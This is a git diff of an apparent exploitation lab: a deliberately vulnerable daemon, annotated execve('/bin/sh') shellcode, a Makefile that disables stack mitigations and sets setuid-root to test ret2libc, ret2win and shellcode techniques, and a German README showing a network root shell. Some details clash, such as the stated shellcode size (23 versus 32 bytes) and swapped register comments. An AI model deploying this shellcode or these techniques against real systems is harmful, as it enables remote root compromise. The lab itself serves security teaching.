vulnerable service\n" + "Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.\n"; + + prepare_client_fds(fd); /* fds 0,1,2 now all point at the socket. */ + + /* + * Install the crash reporter *after* the dup2 dance, so its log lines + * (which go to g_logfd, not to the socket) cannot be seen by the client. + */ + install_crash_reporter(); + + logmsg("client connected (fd %d)", fd); + + /* The banner and the leaks are two separate writes so the client can + * read them incrementally without needing a length-prefixed protocol. */ + (void)write_all(STDOUT_FILENO, banner, sizeof(banner) - 1); + send_leaks(STDOUT_FILENO); + + /* Hand control to the vulnerable code. Nothing after this line is + * guaranteed to run. */ + vulnerable_handler(STDOUT_FILENO); + + /* + * We only get here if the exploit *missed* its target, or if no exploit + * was sent. Say goodbye politely so the exploit can tell the difference + * between "failed" and "succeeded". + */ + logmsg("vulnerable_handler returned normally -- payload did not hijack RIP"); + (void)write_all(STDOUT_FILENO, "OK: no hijack, disconnecting.\n", 29); +} + +/* ------------------------------------------------------------------------- */ +/* The server loop */ +/* ------------------------------------------------------------------------- */ + +/* + * make_listener() -- create the listening socket. + * + * A correct, boring, textbook implementation: it would be the same code in + * production. Returns the fd, or -1 on failure. + */ +static int make_listener(const char *host, int port) +{ + struct sockaddr_in addr; /* The TCP address we will bind to. */ + int fd; /* The socket descriptor. */ + int one = 1; /* Value for setsockopt(). */ + + fd = socket(AF_INET, SOCK_STREAM, 0); /* IPv4, TCP. */ + if (fd < 0) { + logmsg("socket() failed: %s", strerror(errno)); + return -1; + } + + /* SO_REUSEADDR: let us restart quickly without TIME_WAIT blocking us. */ + if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) + logmsg("setsockopt(SO_REUSEADDR) failed: %s", strerror(errno)); + + /* + * Zero the whole structure first. Leaving uninitialised padding bytes is + * a real bug (CWE-457) that leaks stack memory to the kernel -- harmless + * here, but habit-forming in a bad way, so we do it properly. + */ + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; /* IPv4. */ + addr.sin_port = htons((uint16_t)port);/* Network byte order. */ + + /* + * inet_pton() parses the dotted-quad text form "127.0.0.1" into the + * network-byte-order struct in_addr. It returns 1 on success, 0 on a + * malformed address, -1 on error. This is the correct way to turn a + * config string into an address -- strtoul() would happily accept things + * like "0x7f000001" and hide bugs. + */ + if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) { + logmsg("bad bind address: %s", host); + close(fd); + return -1; + } + + /* int -> unsigned short is a narrowing cast, so range-check the port + * before htons() can silently truncate a value like 70000 to 4464. */ + if (port < 1 || port > 65535) { + logmsg("port out of range: %d", port); + close(fd); + return -1; + } + + if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + logmsg("bind(%s:%d) failed: %s", host, port, strerror(errno)); + close(fd); + return -1; + } + + if (listen(fd, 16) < 0) { /* Backlog of 16 connections. */ + logmsg("listen() failed: %s", strerror(errno)); + close(fd); + return -1; + } + + return fd; +} + +/* ------------------------------------------------------------------------- */ +/* Tiny main() */ +/* ------------------------------------------------------------------------- */ + +static void usage(const char *argv0) +{ + fprintf(stderr, + "usage: %s [-h HOST] [-p PORT] [-d]\n" + "\n" + " -h HOST address to bind (default %s -- keep it on loopback!)\n" + " -p PORT TCP port to listen on (default %d)\n" + " -d daemonise: fork into the background\n" + "\n" + "WARNING: this program is intentionally exploitable. Do not run it\n" + "on any host that matters, and do not bind it to 0.0.0.0.\n", + argv0, FOOD_HOST, FOOD_PORT); +} + +int main(int argc, char **argv) +{ + const char *host = FOOD_HOST; /* Bind address, overridable with -h. */ + int port = FOOD_PORT; /* Bind port, overridable with -p. */ + int daemonise = 0; /* Set by -d. */ + int lfd; /* Listening socket fd. */ + int i; /* getopt()'s index. */ + + /* getopt() parses the command line. ":h:p:d" = h/p take args, d does not, + * leading ':' means "report missing argument as ':'". */ + while ((i = getopt(argc, argv, ":h:p:d")) != -1) { + switch (i) { + case 'h': host = optarg; break; /* host argument. */ + case 'p': port = atoi(optarg); break; /* port argument. */ + case 'd': daemonise = 1; break; /* background flag. */ + case ':': fprintf(stderr, "missing argument to -%c\n", optopt); + usage(argv[0]); + return 2; + default: usage(argv[0]); /* unknown flag. */ + return 2; + } + } + + /* Ignore SIGPIPE so a client disconnecting mid-write cannot kill us. */ + signal(SIGPIPE, SIG_IGN); + + /* Reap dead children automatically instead of accumulating zombies. */ + signal(SIGCHLD, SIG_IGN); + + /* + * Claim a private copy of stdout for logging, BEFORE any accept() can + * dup2 a client socket over fd 1. Everything logged afterwards goes to + * the real terminal or wherever stdout was pointed, never to a client. + * g_logfd is 0 or 1 only if dup() failed, in which case we fall back to + * the original stdout in logmsg(). + */ + g_logfd = dup(STDOUT_FILENO); + if (g_logfd < 0) { + g_logfd = STDOUT_FILENO; + fprintf(stderr, "food: warning: could not reserve a log descriptor\n"); + } + + lfd = make_listener(host, port); + if (lfd < 0) + return 1; + + logmsg("listening on %s:%d (pid %d) -- THIS SERVICE IS INTENTIONALLY VULNERABLE", + host, port, (int)getpid()); + + if (daemonise) { + /* Standard double-fork daemonisation so we cannot acquire a + * controlling terminal. Parent exits, intermediate exits, we survive. */ + pid_t p1 = fork(); + if (p1 < 0) { perror("fork"); return 1; } + if (p1 > 0) _exit(0); /* Original parent: go away. */ + if (setsid() < 0) perror("setsid"); + pid_t p2 = fork(); + if (p2 < 0) { perror("fork"); return 1; } + if (p2 > 0) _exit(0); /* Session leader: also go away. */ + if (chdir("/") < 0) perror("chdir"); + umask(022); /* New files default to 0644. */ + } + + /* ---- The accept loop. Runs forever. ---------------------------------- */ + for (;;) { + struct sockaddr_in peer; /* Who connected. */ + socklen_t plen = sizeof(peer); + int cfd; /* Client socket. */ + pid_t pid; /* Child pid. */ + + /* + * accept() blocks until a client arrives, then returns a *new* fd + * connected to that client. The listening fd stays open. + */ + cfd = accept(lfd, (struct sockaddr *)&peer, &plen); + if (cfd < 0) { + if (errno == EINTR || errno == ECONNABORTED) + continue; /* Transient: just try again. */ + logmsg("accept() failed: %s", strerror(errno)); + continue; + } + + /* + * Fork per connection. Reason 1: isolation -- a segfault in the + * exploit's payload kills only the child, so the daemon survives. + * Reason 2: the child can _exit() without taking the server down. + */ + pid = fork(); + if (pid < 0) { + logmsg("fork() failed: %s", strerror(errno)); + close(cfd); + continue; + } + + if (pid == 0) { + /* ---- Child: serve exactly one client, then die. -------------- */ + close(lfd); /* Release our copy of the listening socket. */ + handle_client(cfd); + /* If the exploit worked, we never get here. If it did not, exit. */ + _exit(0); + } + + /* ---- Parent: close our copy of the client socket and go around. -- */ + close(cfd); + } + + /* Not reached: the accept loop is infinite. */ +} diff --git a/shellcode.S b/shellcode.S new file mode 100644 index 0000000..be13c91 --- /dev/null +++ b/shellcode.S @@ -0,0 +1,140 @@ +; =========================================================================== +; shellcode.S -- the reference version of the 23 bytes embedded in fooc.c +; =========================================================================== +; +; This file exists for ONE reason: to let you prove that the `SHELLCODE[]` +; array in fooc.c is exactly the machine code you would get from assembling +; these instructions. It is not used by the exploit, which carries the bytes +; inline so it has no runtime dependency on nasm. +; +; make verify-shellcode assembles this and diffs it against fooc.c +; +; WHAT IT DOES +; ------------ +; execve("/bin/sh", argv = NULL, envp = NULL) +; +; ... and that is the whole payload. There is no loop, no decoder, no +; egg-hunter: 23 bytes that turn the process into a shell. +; +; THE ABI +; ------- +; The System V AMD64 calling convention, and the kernel's syscall convention, +; agree on the register layout, which is why one sequence serves both: +; +; rdi 1st argument -> the pathname +; rsi 2nd argument -> argv +; rdx 3rd argument -> envp +; rax syscall number -> 59 = execve +; +; Passing argv = NULL makes the kernel synthesise argv[0] from the pathname, +; and envp = NULL gives the new program an empty environment. The shell runs +; fine, but with no PATH, so `id` and `uname` work and bare `vi` does not -- +; a small detail that surprises people, and the reason fooc's own local shell +; uses execv() with a real environment instead. +; +; ASSEMBLY NOTES +; -------------- +; * `mov rdi, 0x68732f6e69622f` needs the REX.W prefix and a 64-bit +; immediate, so it is spelled `movabs` in AT&T syntax (or `mov r64, +; imm64` in Intel syntax). The immediate is the eight ASCII bytes +; "/bin/sh\0" read as a little-endian 64-bit number -- the NUL comes free +; because it is the high byte of the little-endian representation, which is +; the top of the string. +; +; * We `push rdi` rather than putting the string in a `.data` section +; because the payload must be position independent: it will sit at whatever +; address the target's stack (or, in a ROP chain, wherever the attacker +; chose) happens to be. RIP-relative addressing would break, `push` will +; not. +; +; * `push 0x3b; pop rax` is the idiomatic 2-byte way to load a small syscall +; number. `mov eax, 0x3b` is 5 bytes, which matters in a payload. +; +; * There is no `ret` at the end. execve replaces the process image and never +; returns, so anything after `syscall` is dead code. The shell you get never +; runs our bytes again -- which is why the parent process's stack, and +; therefore the corrupted return address, is irrelevant once this fires. +; +; WHY THIS IS THE THING NX BIT EXISTS TO STOP +; ------------------------------------------- +; These bytes must land on an executable page. The stack normally is not, so +; on any modern system the CPU raises SIGSEGV the moment `ret` transfers control +; into the payload. That single hardware feature is why real-world ROP chains +; look like this file and not like this file: with NX on, the attacker reuses +; code that already exists in the binary or in libc. See README.md. +; =========================================================================== + + BITS 64 + +; section .text -- mark it executable, the default, so `nasm -f bin` emits +; the instruction bytes with no ELF wrapper around them. + section .text + +; --------------------------------------------------------------------------- +; xor esi, esi +; rsi = 0 -> envp = NULL +; +; Zeroing with xor instead of `mov esi, 0` is two bytes shorter (2 vs 5) and +; the classic x86 idiom for producing a zero without a memory operand. It +; also has a side effect: the zeroing flag form skips the dependency-breaking +; trick some old CPUs needed, which no longer matters. +; --------------------------------------------------------------------------- + xor esi, esi + +; --------------------------------------------------------------------------- +; xor edx, edx +; rdx = 0 -> argv = NULL +; --------------------------------------------------------------------------- + xor edx, edx + +; --------------------------------------------------------------------------- +; movabs rdi, 0x68732f6e69622f +; rdi = the 8 bytes 2f 62 69 6e 2f 73 68 00, i.e. "/bin/sh\0" +; +; Read the immediate right-to-left as bytes and it spells the string out. +; That packing is the whole trick: eight bytes of payload in a ten-byte +; instruction, no data section, no relocation, no alignment padding. +; --------------------------------------------------------------------------- + movabs rdi, 0x68732f6e69622f + +; --------------------------------------------------------------------------- +; push rdi +; Put those eight bytes on the stack, where a string has to live so that a +; register can point at it. The stack is writable and is at a known +; (attacker-chosen) address, so this is the position-independent way to +; materialise a string constant. +; --------------------------------------------------------------------------- + push rdi + +; --------------------------------------------------------------------------- +; mov rdi, rsp +; rdi = the address of the string we just pushed = argv[0] as well as the +; pathname. Reusing one buffer for both is legal; the kernel only reads the +; pathname before it sets up the new stack, and by then argv[0] is copied. +; --------------------------------------------------------------------------- + mov rdi, rsp + +; --------------------------------------------------------------------------- +; push 0x3b +; pop rax +; rax = 59 = the __NR_execve slot in the x86-64 syscall table. +; +; Syscall numbers are part of the kernel ABI and are frozen: 0 = read, +; 1 = write, 2 = open, ..., 59 = execve. They are not sequential by function, +; they are fixed by history, which is why they are also a handy way for an +; analyst to recognise a payload. +; --------------------------------------------------------------------------- + push 0x3b + pop rax + +; --------------------------------------------------------------------------- +; syscall +; Trap into the kernel. On return, either we are a shell (success) or we +; are handed a -errno in rax and fall off the end of the payload (failure). +; --------------------------------------------------------------------------- + syscall + +; Note what is NOT here: +; * no `ret` -- execve does not return. +; * no `nop` sled -- we jump straight to the first byte. +; * no `jmp $+N` -- nothing to reach. diff --git a/suid/.gitignore b/suid/.gitignore new file mode 100644 index 0000000..828d340 --- /dev/null +++ b/suid/.gitignore @@ -0,0 +1,15 @@ +# Build products +foosd +foosd_hardened +foosc +shellcode.bin +.sc_c_raw.txt +.sc_c.txt +.sc_asm.txt +tests/pty_suid_test + +# Logs are evidence -- keep them out of git but present on disk +foosd.log +foosd_hardened.log +*.log + diff --git a/suid/Makefile b/suid/Makefile new file mode 100644 index 0000000..256acbc --- /dev/null +++ b/suid/Makefile @@ -0,0 +1,314 @@ +# ============================================================================ +# Makefile -- builds the SUID lab: the vulnerable daemon, its exploit, and +# the test harness. Companion to the parent lab's Makefile. +# ============================================================================ +# +# make build foosd, foosc and the test harness +# make setuid ONE-TIME, needs sudo: gives foosd the setuid bit and a +# root owner. THIS is what makes the exploit yield root. +# make unsetuid remove the setuid bit again when you are done +# make run start foosd on loopback (whatever uid it currently has) +# make status report the setuid state of ./foosd +# make test technique matrix (works with or without the setuid bit) +# make test-suid the matrix with --must-root on the techniques that are +# SUPPOSED to escalate (needs `make setuid` first) +# make verify prove the bytes in foosc.c equal what shellcode.S makes +# make hardened rebuild foosd with all mitigations ON (expect failure) +# make test-hardened show which techniques the mitigations kill +# make stop stop the daemon +# make clean remove build products +# +# --------------------------------------------------------------------------- +# THE SETUID STATE -- the one thing that makes this lab different +# --------------------------------------------------------------------------- +# A setuid-root binary is `root:root` with the 's' bit in its mode (rwsr-xr-x). +# The whole point of this lab is the difference between running `foosd` +# WITHOUT that state (exploits land, but the shell is a plain user shell) +# and WITH it (shellcode yields uid=0): +# +# make setuid # needs sudo, once, after any rebuild +# make run +# make test-suid +# make stop +# make unsetuid # hygiene: never leave it set +# +# IMPORTANT BUILD RULE: `make clean` can remove a root-owned binary (delete +# permissions come from the DIRECTORY), but recompiling OVER a root-owned +# file fails with "Permission denied". So after `make setuid`: +# sudo make clean # or: make unsetuid, then make, then make setuid +# ============================================================================ + +CC ?= gcc +CSTD := -std=c99 + +# We do NOT use -Werror: the deliberate overflow triggers +# -Wstringop-overflow in foosd.c and that warning is supposed to fire. +WARN := -Wall -Wextra +DBG := -O0 -g + +# --- the vulnerable build ----------------------------------------------------- +# Same deliberate removals as the parent lab, now with a SUID twist: dropping +# the canary, PIE and NX is what makes the techniques reachable, but NONE of +# them has anything to do with the +s bit. A hardened build of this same +# source is still a SUID binary -- just a harder-to-abuse one. +VULN := -fno-stack-protector -no-pie -z execstack + +# --- the hardened build ------------------------------------------------------- +HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack + +TESTCFLAGS := $(CSTD) $(DBG) $(WARN) + +# Port: kept distinct from the parent lab's 2342 so both can run together. +PORT ?= 2343 + +all: foosd foosc tests/pty_suid_test + +# ----------------------------------------------------------------------------- +# The daemon. It becomes SUID later via `make setuid`; the build itself is +# ordinary (a setuid bit is a filesystem attribute, not a linker flag). +# ----------------------------------------------------------------------------- +foosd: foosd.c + $(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $< + +# ----------------------------------------------------------------------------- +# The exploit: mitigations ON (the attacker gains nothing by self-weakening). +# -ldl for dlsym(), which measures libc offsets at runtime instead of +# hardcoding numbers that break on the next glibc update. +# ----------------------------------------------------------------------------- +foosc: foosc.c + $(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl + +tests/pty_suid_test: tests/pty_suid_test.c + $(CC) $(TESTCFLAGS) -o $@ $< + +# ----------------------------------------------------------------------------- +# setuid: install the SUID-root state. Requires root (sudo). After this, +# `./foosd` run by ANY user starts with euid 0. +# +# Note the file must be owned by root AND the surrounding directory must not +# be writable by others -- a root-owned SUID binary in a world-writable dir +# is itself a classic bug (anyone can replace or relink it as root later). +# ----------------------------------------------------------------------------- +setuid: foosd + @echo "=== giving foosd the setuid bit (needs your sudo password)" + @sudo sh -c 'chown root:root foosd && chmod u+s foosd && chmod 755 foosd' + @echo + @ls -l foosd + @echo + @echo "=== expect the owner 'root' and a mode starting with -rws (the s)." + @stat -c 'owner=%U mode=%A' foosd + @echo "=== now: make run ; make test-suid" + @echo "=== when done: make stop ; make unsetuid" + +unsetuid: + @if [ -f foosd ]; then \ + sudo chmod u-s foosd; \ + echo "=== setuid bit removed from foosd."; \ + echo "=== (It may still be owned by root; rebuild with 'make unsetuid && make' \ +or 'sudo make clean && make'.)"; \ + stat -c 'owner=%U mode=%A' foosd; \ + else \ + echo "=== foosd not built; nothing to do"; \ + fi + +# ----------------------------------------------------------------------------- +# status: what state is the binary in? The daemon also reports this in its log +# at startup, so this is just a convenience. +# ----------------------------------------------------------------------------- +status: + @if [ ! -f foosd ]; then echo "=== foosd is not built yet (make)."; exit 0; fi + @owner=$$(stat -c %U foosd); mode=$$(stat -c %A foosd); \ + echo "=== foosd: owner=$$owner mode=$$mode"; \ + case "$$mode" in -rws*) \ + echo "=== SUID state: setuid-root ACTIVE -> shellcode gives root.";; \ + *) \ + echo "=== SUID state: not setuid (yet) -> run: sudo make setuid";; \ + esac + +# ----------------------------------------------------------------------------- +# run / stop. setsid + nohup + foosd.log 2>&1 /dev/null || true + @sleep 1 + @if pgrep -x foosd >/dev/null; then \ + echo "=== foosd is running (pid $$(pgrep -x foosd | head -1))"; \ + echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \ + grep '\[stack\]' /proc/$$(pgrep -x foosd | head -1)/maps; \ + echo "=== startup log line (uid/euid state):"; \ + grep startup foosd.log; \ + else \ + echo "=== foosd failed to start; see foosd.log"; exit 1; \ + fi + +stop: + @if pgrep -x foosd >/dev/null; then \ + pkill -x foosd; sleep 0.5; \ + echo "=== foosd stopped"; \ + else \ + echo "=== foosd was not running"; \ + fi + @# Also clean up a leftover hardened daemon; it would hold the port. + @if pgrep -x foosd_hardened >/dev/null; then \ + pkill -x foosd_hardened; sleep 0.5; \ + echo "=== foosd_hardened stopped"; \ + fi + +# ----------------------------------------------------------------------------- +# test: the technique matrix. Works whether or not the setuid bit is set. +# +# shellcode / ret2win-root are the ESCALATING ones: the Makefile demands +# root ("--must-root") -- without the setuid bit +# these FAIL, which is the correct answer. +# ret2win / ret2libc are the DEMOTED ones: they land a shell, but +# bash resets euid=ruid, so root is NOT expected. +# The harness is used WITHOUT --must-root, and +# the ROOT= line printed tells the truth either +# way. +# +# The verdict is pty_suid_test's EXIT STATUS, never a grep of its output. +# ----------------------------------------------------------------------------- +test: tests/pty_suid_test + @fail=0; \ + echo "=== ret2libc (expect shell, NOT root: the shell resets euid)"; \ + ./tests/pty_suid_test -t ret2libc 2>&1 >/dev/null || fail=1; \ + echo "=== ret2win (expect shell, NOT root: win() leaves ruid set)"; \ + ./tests/pty_suid_test -t ret2win 2>&1 >/dev/null || fail=1; \ + echo "=== ret2win-root (expect ROOT shell: win_root() clears ruid)"; \ + ./tests/pty_suid_test -t ret2win-root --must-root 2>&1 >/dev/null || fail=1; \ + echo "=== shellcode (expect ROOT shell: setreuid+execve)"; \ + ./tests/pty_suid_test -t shellcode --must-root 2>&1 >/dev/null || fail=1; \ + echo; \ + if [ $$fail -eq 0 ]; then \ + echo "=== shellcode and ret2win-root escalated to root."; \ + echo "=== If you expected this WITHOUT running 'make setuid', note"; \ + echo "=== that foosd must be setuid-root for euid to be 0."; \ + else \ + echo "=== at least one technique did not behave as expected."; \ + echo "=== Check the ROOT= value above, foosd.log, and README.md."; \ + fi; \ + exit $$fail + +# ----------------------------------------------------------------------------- +# test-suid: the same matrix, but it explicitly checks the setuid state first +# so the diagnosis is obvious. Run AFTER sudo make setuid and make run. +# ----------------------------------------------------------------------------- +test-suid: tests/pty_suid_test + @if [ ! -u foosd ] || [ "$$(stat -c %U foosd)" != "root" ]; then \ + echo "!!! foosd is not setuid-root. Run: sudo make setuid"; exit 1; \ + fi + @$(MAKE) --no-print-directory test + +# ----------------------------------------------------------------------------- +# verify: prove the shellcode bytes in foosc.c are byte-for-byte what nasm +# produces from shellcode.S. A hand-maintained hex array and a hand-written +# .S file are both easy to get wrong; the diff catches it automatically. +# ----------------------------------------------------------------------------- +verify verify-shellcode: shellcode.S foosc.c + @command -v nasm >/dev/null 2>&1 || { \ + echo "verify-shellcode: nasm is not installed; skipping."; \ + echo " (Arch: pacman -S nasm)"; exit 0; } + @echo "=== Assembling shellcode.S ..." + @nasm -f bin -o shellcode.bin shellcode.S + @echo "=== nasm output:" + @od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \ + -e 's/[[:space:]]*$$//' + @echo + @# Pull the hex list out of the C array. Strip the trailing /* */ annotations + @# first (they mention hex constants like "0x71"), then grep the literals. + @sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' foosc.c \ + | sed -e 's,/\*.*\*,,' \ + | grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \ + | tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \ + > .sc_c_raw.txt + @echo "=== bytes declared in foosc.c's SHELLCODE[] array:" + @cat .sc_c_raw.txt + @echo + @echo "=== comparing ..." + @sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt + @od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \ + -e 's/[[:space:]]*$$//' > .sc_asm.txt + @if cmp -s .sc_c.txt .sc_asm.txt; then \ + n=$$(wc -c < shellcode.bin); \ + echo "MATCH: the $$n bytes in foosc.c are byte-for-byte what"; \ + echo " shellcode.S assembles to."; \ + rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \ + else \ + echo "MISMATCH -- the two differ:"; \ + diff .sc_c.txt .sc_asm.txt || true; \ + rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \ + fi + +# ----------------------------------------------------------------------------- +# hardened: same source, all mitigations ON. Every technique should die at the +# canary; the point is the console contrast with the vulnerable build, and the +# reminder in README.md that a hardened build is still a SUID binary. +# ----------------------------------------------------------------------------- +hardened: foosd.c + $(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o foosd_hardened $< + @echo + @echo "=== foosd_hardened built with the mitigations ON." + @echo "=== Stack segment ('RW' is what you want; 'RWE' would be executable):" + @readelf -W -l foosd_hardened | grep GNU_STACK + +# test-hardened: swap the hardened daemon in, show every technique failing, +# then put the vulnerable one back exactly as it was. +test-hardened: hardened tests/pty_suid_test + @if ! pgrep -x foosd >/dev/null; then \ + echo "=== start the daemon first: make run"; exit 1; \ + fi + @$(MAKE) --no-print-directory stop + @echo "### starting foosd_hardened instead" + @setsid nohup ./foosd_hardened > foosd_hardened.log 2>&1 /dev/null || true + @sleep 1 + @if ! pgrep -x foosd_hardened >/dev/null; then \ + echo "!!! foosd_hardened did not start; see foosd_hardened.log"; \ + $(MAKE) --no-print-directory stop; exit 1; \ + fi + @echo "### stack segment: 'rw-p' (NOT executable) is what you want to see" + @grep '\[stack\]' /proc/$$(pgrep -x foosd_hardened | head -1)/maps || true + @echo + @for t in ret2libc ret2win ret2win-root shellcode; do \ + echo "=================== $$t"; \ + if ./tests/pty_suid_test -t $$t 2>&1 >/dev/null; then \ + echo "--- $$t: got a shell (report the ROOT= line above)"; \ + else \ + echo "--- $$t was stopped by the mitigations (as expected)"; \ + fi; \ + done + @echo + @$(MAKE) --no-print-directory stop + @echo "### restoring the vulnerable daemon" + @setsid nohup ./foosd > foosd.log 2>&1 /dev/null || true + @sleep 1 + @echo + @echo "=== mitigation contrast is above. See README.md." + +# ----------------------------------------------------------------------------- +# debug: rebuild for gdb and show the first breakpoints to try. +# ----------------------------------------------------------------------------- +debug: foosd.c + $(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o foosd $< + @echo "=== built ./foosd for gdb. Try:" + @echo " gdb -q ./foosd" + @echo " (gdb) break foosd.c:392 # the read() that overflows" + @echo " (gdb) run -p 2343" + @echo " (gdb) info registers rsp rbp" + +# ----------------------------------------------------------------------------- +# clean. NOTE: after `make setuid` the binary is root-owned; rm works (delete +# permission lives on the directory) but recompiling over it does not. If make +# fails with "Permission denied" here, run `sudo make clean` first. +# ----------------------------------------------------------------------------- +clean: + rm -f foosd foosc foosd_hardened shellcode.bin + rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt + rm -f tests/pty_suid_test + @echo "=== cleaned. (foosd.log is left alone; it is your evidence.)" + +.PHONY: all setuid unsetuid status run stop test test-suid verify \ + verify-shellcode hardened test-hardened debug clean \ No newline at end of file diff --git a/suid/README.DE.md b/suid/README.DE.md new file mode 100644 index 0000000..d618708 --- /dev/null +++ b/suid/README.DE.md @@ -0,0 +1,406 @@ +# SUID-Root-RCE-Labor — `foosd` (Daemon) + `foosc` (Exploit) + +Ein Begleiter zum übergeordneten Labor (`food` / `fooc`, ein gewöhnlicher +Daemon, bei dem ein Pufferüberlauf eine *Benutzer*-Shell liefert). Dieses fügt +die gefährlichste Ein-Zeichen-Änderung in Unix hinzu: das **Setuid-Bit**. + +> `chmod u+s` verwandelt „der Angreifer kann Code auf diesem Host ausführen" in +> „der Angreifer kann auf diesem Host Code als **root** ausführen". + +Dieser Satz ist das gesamte Labor. Alles darunter ist der Mechanismus darunter, +aufgeschrieben, damit du beim Schreiben eigener Software genau weißt, welche +zwei oder drei Dateisystem-Attribute und Compiler-Flags entscheiden, ob ein +Speichersicherheitsbug in deinem Code eine Belästigung oder eine Root-Shell ist. + +Die finale Demo, wenn `foosd` setuid-root ist, ist eine **Root-Shell**, die +über das Netzwerk geöffnet wird, indem 32 Bytes handgeschriebener Shellcode +ausgeführt werden. + +--- + +## 1. Was das Setuid-Bit tatsächlich tut + +Jeder Prozess unter Linux trägt drei User-IDs, und das Setuid-Bit bastelt an +der Beziehung zwischen ihnen: + +| ID | Name | Bedeutung | +|----|------|---------| +| `ruid` | reale User-ID | das Konto, das den Prozess *gestartet* hat | +| `euid` | effektive User-ID | was der Kernel bei der Durchsetzung von Zugriffsrechten prüft | +| (saved) | gespeicherte Set-User-ID | ein „Slot", in den ein privilegierter Prozess später zurückkehren darf | + +Ein normales Programm hat `ruid == euid`. Wenn du ein Binärprogramm mit +gesetztem Setuid-Bit ausführst, das root gehört: + +```text +ruid = du (z. B. 1000, "hanez") +euid = der Besitzer (z. B. 0, "root") +``` + +Der Prozess hat also **roots Autorität**, obwohl der Benutzer, der ihn +gestartet hat, völlig gewöhnlich ist. Jede Prüfung, die der Kernel durchführt — +kann dieser Prozess `/etc/shadow` lesen? eine Datei schreiben? einen anderen +Prozess töten? — wird mit `euid` beantwortet, d. h. „ja, es ist root". + +`foosd` ist ein Netzwerk-Daemon. Er bindet einen Port und `fork()`t dann pro +Verbindung ein Kind. Ein Fork *erbt* die euid, also ist auch jedes Kind, das +eine Verbindung behandelt, root. Der Overflow in `foosd`s +`vulnerable_handler()` ist daher ein Overflow *in einem Root-Prozess*. + +**Diagnostiziere es selbst, sobald der Daemon läuft:** + +```console +$ ./foosd ... # siehe die Log-Zeile beim Start +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +und vom Exploit aus: + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. Das Labor auf einen Blick + +| Datei | Rolle | +|------|------| +| `foosd.c` | Der absichtlich angreifbare Daemon (besitzt die Bugs). Für die Root-Shell-Demo als *setuid-root*-Binärprogramm ausführen. | +| `foosc.c` | Der Exploit. Standard: die 32-Byte-`setreuid + execve`-Shellcode-Technik. | +| `shellcode.S` | Der Referenz-Shellcode; `make verify` vergleicht ihn mit dem Byte-Array in `foosc.c`. | +| `tests/pty_suid_test.c` | Test-Harness. Treibt `foosc` durch ein Pseudo-Terminal und beweist sowohl „eine Shell lief" als auch „sie war root" (`uid=0(`). | +| `Makefile` | Build, `setuid`/`unsetuid`-Helfer, Test-Matrix. | +| `README.md` | Diese Datei. | + +> **Warum eine pty?** Die letzte Aktion des Exploits ist es, dein Terminal an +> die Shell weiterzuleiten, die auf dem Opfer läuft. Eine Pipe oder ein +> Here-Doc landet am falschen Ende dieser Weiterleitung; ein echtes Terminal +> ist erforderlich. + +--- + +## 3. Schnellstart + +```console +$ make # alles bauen, als dein normaler Benutzer +$ make setuid # einmalig, fragt nach sudo: chown root + chmod u+s +$ make run # startet foosd auf 127.0.0.1:2343 +$ make test-suid # volle Matrix; shellcode + ret2win-root müssen root ergeben +``` + +Interaktiver Smoke-Test: + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- du bist root, auf dem Opfer +# exit +``` + +Wenn du fertig bist: + +```console +$ make stop +$ make unsetuid # Hygiene: nie ein Root-SUID-Binärprogramm liegen lassen +``` + +--- + +## 4. *Wann sollte ich das SUID-Bit setzen?* — die Antwort, die du wolltest + +Genau **einmal, nach dem Bauen, vor dem Start des Daemons für die +Root-Shell-Demos** — und nur auf einer Maschine, die dir gehört, wegwerfbar und +vom Netzwerk getrennt ist: + +```console +$ make # kompiliere foosd, foosc, tests +$ make setuid # <-- DER Moment. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # starte NACH dem Setzen des Bits +``` + +Zwei Regeln, die wichtiger sind als der exakte Zeitpunkt: + +1. **Setze es erst, wenn das Binärprogramm final ist.** Wenn du das Bit setzt + und danach neu baust (`make` / `make clean`), bekommst du beim Schreiben der + root-gehörigen Ausgabedatei ein „Permission denied" — und wenn du den + Rebuild erzwingst, erstellt die Toolchain die Datei **ohne** das `s` neu, + womit die Einrichtung still rückgängig gemacht wird. Die kanonische + Reihenfolge bei jedem Rebuild ist daher + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Entferne es, wenn du fertig bist.** `make unsetuid`. Ein lebendes, + root-gehöriges Setuid-Binärprogramm mit einem ausnutzbaren Bug in deinem + Baum ist kein Lernmittel, sondern ein Root-Loch mit einem Compilefehler + zwischen ihm und nirgendwo. Auf einer geteilten oder Produktionsmaschine: + **mach davon nichts.** Der Daemon weigert sich außerdem standardmäßig, + etwas anderes als Loopback zu binden (siehe §7). + +Wenn du den Exploit *ohne* je gesetztes Bit ausführst, bricht nichts — der +Payload landet trotzdem und du bekommst trotzdem eine Shell. Der Unterschied +steckt in einer Zahl, und der Exploit sagt sie laut: + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +Dieses „funktioniert, aber nicht root" 